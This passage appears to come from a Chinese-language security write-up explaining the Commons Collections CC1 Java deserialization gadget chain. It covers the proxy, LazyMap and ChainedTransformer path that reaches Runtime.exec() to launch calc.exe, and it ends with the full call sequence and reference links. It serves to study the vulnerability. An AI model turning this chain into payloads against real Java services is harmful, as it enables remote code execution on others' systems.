因为proxyMap是我们的代理对象，所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性，代理对象调用任意方法，调用处理器中的invoke()方法都执行一次。
执行AnnotationInvocationHandler的invoke()方法后又会调用get方法，再次回到刚刚的地方了。
LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器
利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
参考：
https://www.cnblogs.com/adamjwh/p/9683705.html
https://www.anquanke.com/post/id/230788
https://www.cnblogs.com/nice0e3/p/13779857.html